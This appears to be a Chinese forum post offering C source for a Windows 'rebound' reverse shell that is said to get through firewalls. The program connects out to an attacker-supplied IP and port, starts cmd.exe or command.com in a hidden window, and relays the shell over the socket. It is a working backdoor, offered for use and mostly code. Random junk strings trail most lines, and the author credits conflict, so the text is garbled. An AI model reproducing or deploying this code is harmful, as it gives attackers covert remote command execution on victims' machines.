这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 79S=n,O
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/* ============================== 'p{>zQ\5
Rebound port in Windows NT {OB\~$TH
By wind,2006/7 1uS
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===============================*/ a}%>i~v<
#include {t9'8R3
#include B;_M52-B
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#pragma comment(lib,"wsock32.lib") e'g-mRh
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void OutputShell(); o- GHAQ
SOCKET sClient; Tpkm\_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qs</.PO
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void main(int argc,char **argv) ar>S_VW*
{ Hz+edMUL
WSADATA stWsaData; >_tn7Z0L
int nRet; C\
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SOCKADDR_IN stSaiClient,stSaiServer; >5)$Qtz#
s _p?3bKu
if(argc != 3) #@lLx?U
{ 8"RX~Igf
printf("Useage:\n\rRebound DestIP DestPort\n"); Smg,1,=
return; o'r?^ *W
} D0tI
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WSAStartup(MAKEWORD(2,2),&stWsaData); +>37'PD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -bcm"(<T'
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stSaiClient.sin_family = AF_INET; 9boNB"h]T
stSaiClient.sin_port = htons(0); $)z(4Ev
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _q+H>1.&9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Lk=f^qJ
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{ YG!~v~sV
printf("Bind Socket Failed!\n"); 1kvBQ1+
return; zc\e$MO
} jt=mK,%
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stSaiServer.sin_family = AF_INET; NKh"x&R
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -05#/-Z=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 45q-x_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @e3O=_m-
{ YN.rj-;^+
printf("Connect Error!"); cZPv6c_w
return; 7 S(5\9
} pa4zSl
OutputShell(); [N'YFb3"O
} o.*8$$
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void OutputShell() I?EtU/AD
{ ~\6Kq`Y
char szBuff[1024]; 9jCn|+
SECURITY_ATTRIBUTES stSecurityAttributes; u
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OSVERSIONINFO stOsversionInfo; `XE8[XY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z9E[RD
STARTUPINFO stStartupInfo; tF+m/}PM^
char *szShell; ;r B2Q H]
PROCESS_INFORMATION stProcessInformation; OB.TAoH:
unsigned long lBytesRead; m+?$cyA>v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EuOrwmdj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9o@5:.b<j
stSecurityAttributes.lpSecurityDescriptor = 0; }4Ef31X8q
stSecurityAttributes.bInheritHandle = TRUE; \_bk+}WJ]s
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3WHj|ENW
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^_0zO$z,
LZG?M|(6D
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); airg[dK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JPJ&k(P
stStartupInfo.wShowWindow = SW_HIDE; w~{NNK;"j
stStartupInfo.hStdInput = hReadPipe; G~b/!clN
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (S3\O `5
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GetVersionEx(&stOsversionInfo); Lq:
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switch(stOsversionInfo.dwPlatformId) Kx==vq%39
{ Gi]R8?M
case 1: '
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szShell = "command.com"; MKMWHGN
break; XRARgWj
default: X`
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szShell = "cmd.exe"; rWsUWA T*
break; 4BF
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} *|n-Hr
}ADdKK-
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ' b1k0 9'
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send(sClient,szMsg,77,0); 1fajTT?
while(1) {HoeK>rd
{ TC[(mf:8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ul@G{N{L
if(lBytesRead) IP<]a5
{ uknX py))
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %?
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send(sClient,szBuff,lBytesRead,0); $D&N^}alW
} @s7ZfV??
else \;#T.@c5
{ F{,<6/ayRz
lBytesRead=recv(sClient,szBuff,1024,0); <yt|!p-tS
if(lBytesRead<=0) break; 5 1&||.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L F<{/c9,
} *BdKQ/Dk
} )DG>omCY
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return; #^FDG1=
}